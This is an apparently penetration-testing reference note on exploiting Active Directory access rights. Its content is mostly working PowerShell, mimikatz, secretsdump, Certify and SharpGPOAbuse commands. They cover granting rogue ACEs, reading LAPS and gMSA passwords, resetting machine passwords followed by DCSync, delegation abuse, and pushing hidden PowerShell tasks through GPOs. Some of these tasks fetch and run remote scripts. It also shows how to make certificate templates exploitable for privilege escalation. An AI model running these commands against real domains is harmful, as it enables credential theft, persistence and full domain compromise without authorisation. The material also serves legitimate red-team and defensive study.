$Object = "AD:\<DistinguishedName>"$User = '<USERNAME>'$UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID$ObjectACL = Get-ACL -Path $Object# Adds the ACE GenericAll.$ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow, [DirectoryServices.ActiveDirectorySecurityInheritance]::None)$ObjectACL.AddAccessRule($ACE_FullControl)# Adds the ACE WriteProperty to the Member attribute.$ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty, [System.Security.AccessControl.AccessControlType]::Allow,"bf9679c0-0de6-11d0-a285-00aa003049e2", [DirectoryServices.ActiveDirectorySecurityInheritance]::None)$ObjectACL.AddAccessRule($ACE_WriteMember)# Adds the ACE ExtendedRight's User-Force-Change-Password.$ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight, [System.Security.AccessControl.AccessControlType]::Allow,"00299570-246d-11d0-a768-00aa006e0529", [DirectoryServices.ActiveDirectorySecurityInheritance]::None)$ObjectACL.AddAccessRule($ACE_ResetPassword)Set-Acl-Path $Object -AclObject $ObjectACL
Automated exploitation
The PowerShell cmdlet Invoke-ACLpwn, leveraging SharpHound.exe and thus .NET 3.5, can be used to exhaustively enumerate the domain security principal objects DACLs and find potential paths leading to privileges escalation.
Note that Invoke-ACLpwn will actively add the specified user to security groups it has control over.
Full rights on the computer account (including WriteOwner and WriteDacl rights), sufficient for all the following compromise techniques.
Computer
WriteOwner (RIGHT_WRITE_OWNER)
Ability to change the owner of the computer account, granting sufficient privileges for all the following compromise techniques.
Computer
WriteDacl (RIGHT_WRITE_DAC)
Ability to change the DACL of the computer account, allowing oneself to grant any rights on the computer account.
Computer
AllExtendedRights (RIGHT_DS_WRITE_PROPERTY_EXTENDED)
ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000
Ability to perform any action associated with extended Active Directory rights against the object.
Includes the possibility to retrieve the LAPS password (if LAPS is deployed on the affected computers) or reset the computer account password.
Ability to change the computer account password with out knowledge of the current password, which can be leveraged to impersonate the computer account from an Active Directory standpoint.
The password update will not be replicated on the computer itself, preventing remote code execution (through Kerberosservice tickets) and will greatly impact the computer operability.
Computer
GenericWrite (RIGHT_GENERIC_WRITE)
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties
The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000
Ability to update all (non protected) attributes of the computer account and notably the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Does not provide the ability to reset a computer account password.
Computer
GenericWrite / WriteProperty to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
msDS-AllowedToActOnBehalfOfOtherIdentity's Rights-GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79`
Ability to write a computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which can lead to remote code execution on the targeted computer through Kerberosresource-based constrained delegation.
Computer
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msDS-KeyCredentialLink.
msDS-KeyCredentialLink's Rights-GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063.
Ability to define or update the msDS-KeyCredentialLink attribute allows to set a Key Credential to request TGT for the machine account through PKINIT authentication (Key Trust model).
An User to UserTGT can be requested, permitting the retrieval of the machine account NTLM hash and ultimately leading to remote code execution on the host (through silver tickets for instance).
LAPS password (ms-Mcs-AdmPwd attribute)
The Microsoft Local Administrator Password Solution (LAPS) solution provides management capacity of local account passwords of domain joined computers. Whenever LAPS is installed in an Active Directory domain, the domain schema is modified with the addition of two attributes for the computer machine objects:
ms-Mcs-AdmPwd, a confidential attribute, which can store one of the machine's local account password (such as the local built-in Administrator for example).
ms-Mcs-AdmPwdExpirationTime, which defines the expiration date of the password stored.
The access to the LAPS password is protected through the ACL defined on the computer machine account and its ms-Mcs-AdmPwd attribute. By default, only the members of the Domain Admins group can access (ReadProperty) the LAPS password. The right to access the LAPS password is usually delegated, through utilities such as Set-AdmPwdReadPasswordPermission, at the Organisational Unit (OU) level, to be applied to every computers object in the OU.
The PowerShell cmdlets of the ActiveDirectory and the LAPSToolkit suite, based on PowerView, can be used to enumerate the access to the LAPS password:
# Retrieves all domain-joined computers with LAPS enabled and additionally displays the LAPS password given sufficient privileges (ReadProperty on the ms-Mcs-AdmPwd).
Get-ADComputer -Filter { ms-Mcs-AdmPwdExpirationTime -like "*" } -Properties * | Ft Name,CanonicalName,DNSHostname,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
Get-LAPSComputersGet-LAPSComputers|Export-Csv-NoTypeInformation-Path<OUTPUT_CSV># Retrieves the users or groups that are delegated the ReadProperty right on the ms-Mcs-AdmPwd attribute at the OU level.
Find-LAPSDelegatedGroupsFind-LAPSDelegatedGroups|Export-Csv-NoTypeInformation-Path<OUTPUT_CSV># Enumerates every computers objects in the domain with LAPS enabled, parses the eventual ExtendedRight ACL to precisely determine which security principals can read the ms-Mcs-AdmPwd attribute.
# Due to performance issue, will be tremendously long on larger domain.Find-AdmPwdExtendedRightsFind-AdmPwdExtendedRights|Export-Csv-NoTypeInformation-Path<OUTPUT_CSV>
The right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a domain machine account can lead to the remote compromise of the machine, through the exploitation of Kerberosresource-based constrained delegation implementation. It authorize the service accounts specified in the computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute to impersonate other users on the computer accounts through delegated / S4U2selfservice tickets.
This right may be granted:
specifically through WriteProperty / GenericWrite on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute (GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79),
indirectly through ownership of the machine account,
directly and indirectly through broader control rights on the machine account (GenericAll, WriteOwner, WriteDACL, WriteProperty / GenericWrite on all attributes).
Refer to the [ActiveDirectory] Kerberos delegations note for more information on how to conduct the machine takeover (after acquiring the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a targeted machine).
WriteOwner to WriteProperty msDS-AllowedToActOnBehalfOfOtherIdentity
PowerView's Set-DomainObjectOwner PowerShell cmdlet can be used to change the owner of a domain service or machine account. Ownership of a domain service or machine account can be subsequently leveraged, using PowerView's Add-DomainObjectAcl PowerShell cmdlet, to modify the object's ACL in order to obtain the right to modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Ownership / WriteDACL to WriteProperty msDS-AllowedToActOnBehalfOfOtherIdentity
PowerView's Add-DomainObjectAcl PowerShell cmdlet can be used to modify the targeted domain service or machine account's ACL in order to grant the specified security principal the WriteProperty right on the targeted account msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
# TARGET_OBJECT_IDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be modified.
# PRINCIPALIDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be given the right over the targeted object
Add-DomainObjectAcl -Verbose -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
Computer account's password reset
The right to reset (ExtendedRight's ForceChangePassword) a computer account's password can be leveraged to impersonate the computer account from an Active Directory standpoint. The password update will not be replicated by the Active Directory services to the computer itself. Remote code execution on the computer (through Kerberos service tickets) thus cannot be achieved through a reset of the computer account's password in Active Directory.
Resetting a computer account's password using the technique below will greatly impact the computer operability. For instance, the computer will no longer be able to process domain logons (error: The trust relationship between this workstation and the primary domain failed). If conducted on a Domain Controller machine account, the targeted Domain Controller would not be able to authenticate to others Domain Controllers for replication operations.
This attack path can notably be leveraged on computer accounts that are granted the rights to conduct replication operations through the DRSUAPI (Ds-Replication-Get-Changes and / or Ds-Replication-Get-Changes-All rights), such as Domain Controllers.
The net Windows built-in utility and mimikatz's lsadump::setntlm function can be used to reset a computer account's password. As the Domain Controller that will process the modification cannot be specified using the net utility, it is recommended to use mimikatz. Knowledge of the Domain Controller on which the update took place is indeed necessary for further authentication using the computer account without waiting for the replication of the new password across the domain. Additionally, mimikatz allows the specification of an NTLM hash, which can be used to eventually restore the original computer account password.
netuser<MACHINE_ACCOUNT><NEW_PASSWORD>/domain# The Domain Controller specified using <DOMAIN_CONTROLLER_FQDN> or <DOMAIN_CONTROLLER_IP> must be consistent across commands.
mimikatz# lsadump::setntlm /server:<DOMAIN_CONTROLLER_FQDN> /user:<MACHINE_ACCOUNT> /password:<NEW_PASSWORD># Conducts DRSUAPI replication operations (DCSync attack) to retrieve the history of the targeted computer account passwords (as well as privileged domain accounts if necessary).
secretsdump.exe -history -dc-ip <DOMAIN_CONTROLLER_IP> [-just-dc-user <MACHINE_ACCOUNT>] '<DOMAIN>/<MACHINE_ACCOUNT>:<NEW_PASSWORD>@<DOMAIN>'
# Restores the previous computer account password using its NTLM hash.lsadump::setntlm/server:<DOMAIN_CONTROLLER_FQDN>/user:<MACHINE_ACCOUNT>/ntlm:<ORIGINAL_NTLM>
Ability to write the msDS-KeyCredentialLink attribute
The ability to write a computer object's msDS-KeyCredentialLink attribute can lead to the retrieval of the computer account's NTLM hash. Refer to the User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute section of the present note for more information and tooling to modify a computer object's msDS-KeyCredentialLink attribute and retrieve its NTLM hash.
Using the retrieved computer account's NTLM hash:
Authenticated Active Directory requests can be made under the identity of the computer account.
Remote code execution can be achieved on the computer using silver tickets. A service ticket (ST) to the host's services (HOST/<MACHINE_HOSTNAME> for instance) can indeed be forged using the NTLM hash (which correspond to the Kerberos RC4 key) of the computer account. Any privileged principals can be impersonated in the forged ST in order to remotely execute code on the targeted host. Refer to the [ActiveDirectory] Exploitation - Kerberos Silver Tickets note for more information on how to craft and use silver tickets for remote code execution.
group Managed Service Accounts (gMSA)
The ability to write a group Managed Service Account (gMSA) object's msDS-GroupMSAMembership attribute can lead to the retrieval of the gMSA account's password. The right can be directly (WriteProperty on the msDS-GroupMSAMembership attribute - Rights-GUID: 888eedd6-ce04-df40-b462-b8a50e41ba38) or indirectly (GenericAll, WriteOwner, or WriteDacl) held.
For more information on gMSAs, as well as tools and techniques to retrieve and use a gMSAs's password, refer to the [ActiveDirectory] gMS accounts note.
gMSAs ACL enumeration
The following PowerShell code snippet leverage the PowerShell ActiveDirectory module to retrieve the principals with the direct or indirect rights to modify gMSAs's msDS-GroupMSAMembership attribute.
GenericAll | Write-Property to all attributes or to the msDS-GroupMSAMembership attribute
The following PowerShell code snippet uses cmdlets from the PowerShell ActiveDirectory module to add a principal to the msDS-GroupMSAMembership attribute of a specified gMSA (while preserving the existing entries):
$gMSA = "<GMSA_ACCOUNT>"# Example PRINCIPAL_NAME: <USERNAME> or <GROUPNAME> such as Domain Users,...$PrincipalToAdd = "<PRINCIPAL_NAME>"# Retrieves the principal(s) currently allowed to retrieve the gMSA's password.Write-Host "Current PrincipalsAllowedToRetrieveManagedPassword:"$originalPrincipalsAllowedToRetrieveManagedPassword = Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA | Select-Object -ExpandProperty PrincipalsAllowedToRetrieveManagedPassword
$originalPrincipalsAllowedToRetrieveManagedPasswordWrite-Host"`n"# Grants the specified principal the right to retrieve the gMSA's password.Write-Host "NewPrincipalsAllowedToRetrieveManagedPassword:"$newPrincipalsAllowedToRetrieveManagedPassword = @()$newPrincipalsAllowedToRetrieveManagedPassword += $originalPrincipalsAllowedToRetrieveManagedPassword$newPrincipalsAllowedToRetrieveManagedPassword += $PrincipalToAdd$newPrincipalsAllowedToRetrieveManagedPasswordSet-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $newPrincipalsAllowedToRetrieveManagedPassword $gMSAWrite-Host "`n"Write-Host "Validation of updated PrincipalsAllowedToRetrieveManagedPassword:"Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSAWrite-Host"`n"# The gMSA's password should be retrieve before restoration.# Restore the gMSA's original PrincipalsAllowedToRetrieveManagedPassword.Write-Host "RestoringoriginalPrincipalsAllowedToRetrieveManagedPassword:"Set-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $originalPrincipalsAllowedToRetrieveManagedPassword $gMSA
Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA
GPO ACEs exploitation
GPO enforcement
GPO can be linked to an Organizational Unit (OU) but not necessarily applied, as an OU can blocks inheritance on an not enforced linked (GPLink) GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.
The precedence order respect the principle that, in case of conflicting settings in GPOs, the last GPO applied will overwrite any settings applied earlier and the GPO closest to the client location in the directory structure will be applied last. Concretely, the precedence order is as follow (from the applied first / lowest in the precedence order to the applied last / highest in the precedence order):
local GPO
site GPO
domain GPO
OU (for nested OU, the GPO closer to the object being the highest in the precedence order)
Others mechanisms, such as WMI filtering (which restrains the application of the GPO depending on the result of a true / false WMI query), or Security filtering (which restrains to specific members - users and groups - of security groups) may further influence the GPO enforcement.
For now, BloodHound takes into account the block inheritance / enforced mechanism but not the precedence order nor the WMI filtering and security filtering.
PowerView can also be used to find where exploitable GPO are linked and possibly applied by retrieving the GPLink attribute of an OU.
Get-DomainOU-GPLink"<GPO_GUID>"|ForEach-Object{Get-DomainComputer-SearchBase"LDAP://$($_.distinguishedname)"|FtName}# With Credential and ServerGet-DomainOU-Server<DC>-Credential<PSCredential>-GPLink"<GPO_GUID>"|ForEach-Object{Get-DomainComputer-Server<DC>-Credential<PSCredential>-SearchBase"LDAP://$($_.distinguishedname)"|FtName}
However, this will not take into account the rules of inheritance and precedence.
Exploitable access rights
The following access rights can be exploited to ultimately edit a GPO:
Privilege
Description
WriteProperty
Right to modify the GPO. This specific right is assigned when delegating the permission Edit settings through the Group Management Policy Console (GMPC). Note that if the attribute ObjectAceFlags has for value ObjectAceTypePresent then only the property identified by the ObjectAceType attribute will be editable.
WriteOwner
Ability to change the owner of the GPO, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission Edit settings, delete, modify security through the Group Management Policy Console (GMPC).
WriteDacl
Ability to change the DACL of the GPO object, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission Edit settings, delete, modify security through the Group Management Policy Console (GMPC).
GenericAll
Full rights on the GPO object (including WriteProperty, WriteOwner and WriteDacl). This right can only be assigned through the Advanced Security Settings of the Group Management Policy Console (GMPC) (Full control) or by manually modifying the GPO object's ACL.
GenericWrite
Ability to update any non-protected object (almost) all properties values. Similar to WriteProperty to all properties. Does not appear to be settable through the Group Management Policy Console (GMPC).
The WriteOwner access right can be exploited to take ownership of the GPO folder in the SYSVOL share using the Windows explorer utility. The advanced Security properties (Right click -> Properties -> Security -> Advanced) has an option the change the GPO owner.
Version numbers
A GPO can be modified by directly editing the GPO files in the SYSVOL directory. However, if doing so, a number of parameters must also be updated.
Indeed, the versionNumber attribute of the GPO object and the Version attribute within the GPT.ini file in the SYSVOL must be increased, otherwise the change made to the GPO won't be replicated on others domain controllers and clients will not pull the changes during normal GPO update cycle.
The GPT.ini, located in \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>, is a simple text file that can be edited using any text editor or with the following PowerShell one-liner:
Get-Content-Path"\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"(Get-Content -Path "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"
# Get-Content does not support the use of -Credential / -Server.# In order to use authentication, a new drive must be configurednetuseZ:"\\<DC_HOSTNAME | DC_IP>\SYSVOL"<PASSWORD>/user:<DOMAIN>\<USERNAME>Get-Content-Path"Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"(Get-Content -Path "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"
netuseZ:/delete
The versionNumber attribute of the GPO object can be modified using PowerView. Note that the Group Policy module for PowerShell does not provides any editing cmdlets for existing GPO.
The gPCMachineExtensionNames or gPCUserExtensionNames attributes of a GPO object refer to the machine / user settings modified.
For example, the following GUID must be added in the gPCMachineExtensionNames attribute in order to make possible the creation of a new user and/or the update of a local group of the computer the GPO is applied to:
# Default extension for GPO modifying the Computer Configuration
{00000000-0000-0000-0000-000000000000} - Core GPO Engine
# User creation or group membership update
{17D89FEC-5C44-4972-B12D-241CAEF74509} - Preference CSE GUID Local users and groups
{79F92669-4224-476C-9C5C-6EFB4D87DF4A} - Preference Tool CSE GUID Local users and groups
The gPCMachineExtensionNames and gPCUserExtensionNames attributes of the GPO object can be modified using PowerView. Note that the Group Policy module for PowerShell does not provides any editing cmdlets for existing GPO:
The GptTmpl.inf file, located in \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\Windows NT\SecEdit\, can be edited to add user rights to the specified domain or local user.
From an opsec perspective, note that modifying a GPO [Privilege Rights] assignation may override another assignation in a GPO with a lower precedence order, resulting in a possible loss of access for legitimate personal. It is thus recommended to first enumerate all GPO being applied on the Organizational Unit before undertaking any changes.
The full list of privileges assign to an user when being added as a member of the local built-in Administrators group is as follow. The SeRemoteInteractiveLogonRight and SeDebugPrivilege privileges are enough to dump the LSASS process through a Remote Desktop access.
An immediate task is a task that will be run as soon as the client the GPO is applied to, a computer or an user, refresh its Group Policy.
Computer immediate task can be run under the NT AUTHORITY\SYSTEM local built-in account while user immediate task may only run under the identity of the domain account opening the session (with out specifying password, otherwise the tasks impersonate the given domain account).
Computer immediate task
A computer immediate task can be created using the Group Policy Management utility:
Right click on the GPO -> `Edit...`
-> Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
-> Right click -> New -> Immediate Task (At least Windows 7)
-> "When running the task, use the following user account:", specify `NT AUTHORITY\System`
-> Check "Run with highest privileges" and "Hidden"
-> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument.
Or using the following template, in the ScheduledTasks file, that will create an immediate task running under the NT AUTHORITY\SYSTEM account the specified PowerShell script <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>, with three retries, one every minute.
An user immediate task can be created using the Group Policy Management utility:
Right click on the GPO -> `Edit...`
-> User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
-> Right click -> New -> Immediate Task (At least Windows 7)
-> "When running the task, use the following user account:", specify `%LogonDomain%\%LogonUser%`
-> Check "Run with highest privileges" and "Hidden"
-> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument. In order to hide the PowerShell console to the affected user, the `-Win Hidden` flag must be specified.
Or using the following template, in the ScheduledTasks file, that will create an immediate task running, under the identity of any account on which the GPO is applied, the specified PowerShell script <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>, with three retries, one every minute.
SharpGPOAbuse is a C# tool that can be used to automate the process of exploiting an editable GPO. The utility supports the following exploitation techniques:
add the specified rights to a domain user
add a domain user to the local Administrators group of the computer
add a new computer start up script
add a new user logon script
add a computer or user immediate task
# SharpGPOAbuse can be run on an out of the domain computer through a runas sessionrunas/NetOnly/user:<DOMAIN>\<USERNAME>powershell.exeSharpGPOAbuse.exe--DomainController<DC_IP>--Domain<DOMAIN># Add the specified rights to an user# The privileges are specified in a case sensitive comma separated list# The \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\WindowsNT\SecEdit\GptTmpl.inffileshouldincludesthespecifiedprivilegeswiththegivenaccountSIDSharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege,SeAuditPrivilege,SeRemoteInteractiveLogonRight" --UserAccount "<DOMAIN>\<USERNAME>" --GPOName "<GPO_NAME>"
# Add a domain user to the local Administrators group of the computerSharpGPOAbuse.exe--AddLocalAdmin--UserAccount"<DOMAIN>\<USERNAME>"--GPOName"<GPO_NAME>"# Add a new computer start up or user logon script# Refer to the "General - Shells" note for starting a reverse PowerShellSharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "<SCRIPT_NAME>" --ScriptContents "<SCRIPT>" --GPOName "<GPO_NAME>"
SharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "GPO_script.ps1" --ScriptContents "powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\"" --GPOName "<GPO_NAME>"
# Add a new computer or user immediate task# For some reason starting the --Arguments with "-nop" make SharpGPOAbuse raise an "Unknown argument error"SharpGPOAbuse.exe <--AddUserTask | --AddComputerTask> --TaskName "<TASKNAME>" --Author "<DOMAIN>\Admininistrator" --Command "cmd.exe | BINARY_PATH>" --Arguments "<ARGUMENTS | /c powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\">" --GPOName "<GPO_NAME>"
Active Directory Certificate Services
Exploitable access control on certificate templates
The access rights defined on a certificate template govern the operations that can be conducted on the template itself as well as the principals that can enroll to the template (request certificate(s) based on the specific certificate template). These access rights are enforced by the Certificate Authority (CA).
Ability to enroll to the certificate template (manually request certificate(s) based on the template).
The certificate template must also be published in a Certificate Authority for which the user can enroll certificates.
AllExtendedRights (RIGHT_DS_CONTROL_ACCESS).
ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
All extended rights, including the Certificate-Enrollment and Certificate-AutoEnrollment rights.
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Certificate-Name-Flag.
Rights-GUID: ea1dddc4-60ff-416e-8cc0-17cee534bce7.
Ability to write the msPKI-Certificate-Name-Flag attribute of the certificate template, allowing to set the template to build the subject information from user-supplied input (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag).
Can be leveraged for privilege escalation if the certificate template can be used for client authentication and oneself can enroll to it.
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Certificate-Application-Policy.
Rights-GUID: dbd90548-aa37-4202-9966-8c537ba5ce32.
Ability to write the msPKI-Certificate-Application-Policy attribute of the certificate template, thus allowing to add support for client authentication in the template.
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Enrollment-Flag.
Rights-GUID: d15ef7d8-f226-46db-ae79-b34e560bd12c.
Ability to write the msPKI-Enrollment-Flag attribute of the certificate template, thus allowing to disable the need for approval of a CA manager certificate to validate the certificate request (CT_FLAG_PEND_ALL_REQUESTS flag).
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties.
Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
Ability to modify all the attributes of the certificate template, including the ones mentioned above.
Cannot be used to give oneself enrollment right to the certificate template (as enrollment is restricted through the ACL on the template object and not the attributes of the template). If the WriteProperty applies to an enrollable certificate template, privilege escalation can however be achieved.
WriteOwner.
Ability to change the owner of the certificate template, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights.
This right is assigned when delegating the permission Write through the Certificate Templates snap-in.
WriteDacl.
Ability to change the DACL of the certificate template, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights.
This right is assigned when delegating the permission Write through the Certificate Templates snap-in.
GenericAll (RIGHT_GENERIC_ALL).
Full control on the certificate template, including the ability to modify all the parameters / attributes of the template and enroll to the template.
Certificate templates - ACL enumeration
Certify and the PowerShellGet-Acl cmdlet (if the Remote Server Administration Tools (RSAT) are installed) can be used to enumerate the ACL of the certificate templates. Certify presents the advantage of retrieving additional information on the certificate templates: validity period, msPKI-Certificates-Name-Flag attribute, Extended / Enhanced Key Usage (EKU) extension, etc.
# Enumerates the certificate templates exploitable under the current user security context.Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable /currentuser
# Enumerates the certificate templates exploitable by default low-privileged groups (Domain Users, Domain Computers, Everyone, etc.).
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable
# Enumerates all rights of all certificate templates.Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /showAllPermissions [/json /outfile:<OUTPUT_FILE>]
Refer to the Enumeration of DACL section above for cmdlets and code snippets to conduct ACL enumeration trough PowerShell.
Refer to the [ActiveDirectory] Certificate Services for more information on how to enumerate and request certificates from enrollable certificate templates.
Certificate templates - WriteOwner / WriteDACL
Refer to the User / group - WriteOwner and User / group - WriteDACL sections above for general techniques and tools to exploit the WriteOwner and WriteDACL rights.
The modifications of the ACL can also be done through the Microsoft Management Console (MMC)'s ADSI Edit (adsiedit.msc) snap-in (among others):
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "ADSI Edit"
-> Connect to... -> Select a well known Naming Context: Configuration -> Ok.
-> Configuration [<DOMAIN>] -> Go to `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN_ROOT>`.
-> Right click on the editable `certificate template` -> Properties -> Security tab to edit the access control rights.
Certificate templates - GenericAll / WriteProperty to all properties / WriteProperty to msPKI-Certificate-Name-Flag + msPKI-Certificate-Application-Policy (+ msPKI-Enrollment-Flag)
The following PowerShell code snippet leverage cmdlets of the ActiveDirectory module to make an editable certificate template vulnerable for privilege escalation purposes. The certificate template is modified to use an user-supplied Subject Name and allow for client authentication. The eventual approval of the request by a certificate manager can be optionally disabled.
$certificateDN = "<CERTIFICATE_TEMPLATE_DN>"$certificateAttr = Get-AdObject $certificateDN -Properties msPKI-Enrollment-Flag,msPKI-Certificate-Application-Policy$newAttr = @{}# Sets the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT in the msPKI-Certificate-Name-Flag attribute so that the subject information is user-supplied.
$newAttr['msPKI-Certificate-Name-Flag']='1'# Adds the clientAuth Enhanced Key Usage to the msPKI-Certificate-Application-Policy attribute so the issued certificate can be used for client authentication.
$certificateAttrAppPolicy = $certificateAttr."msPKI-Certificate-Application-Policy"If (!$certificateAttrAppPolicy.Contains('1.3.6.1.5.5.7.3.2')) { $newAttr['msPKI-Certificate-Application-Policy']= $certificateAttrAppPolicy.Add('1.3.6.1.5.5.7.3.2')}# If necessary, disables the CT_FLAG_PEND_ALL_REQUESTS flag (CA manager certificate request approval) in the msPKI-Enrollment-Flag attribute.
$newAttr['msPKI-Enrollment-Flag'] = $certificateAttr."msPKI-Enrollment-Flag" -band -bnot 2# Set the new attributes on the certificate template.Set-AdObject $certificateDN -Replace $newAttr
The modifications done by the code above can also be done manually through the Microsoft Management Console (MMC)'s Certificate Templates (certtmpl.msc) snap-in (on a machine joined to the target domain):
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Certificate Templates"
-> Right click on the editable `certificate template` -> Properties
-> Subject Name tab -> Check "Supply in the request"
-> Extensions tab -> Edit "Application Policies" -> Add "Client Authentication"
-> Issuance Requirements tab -> Uncheck "CA certificate manager approval"
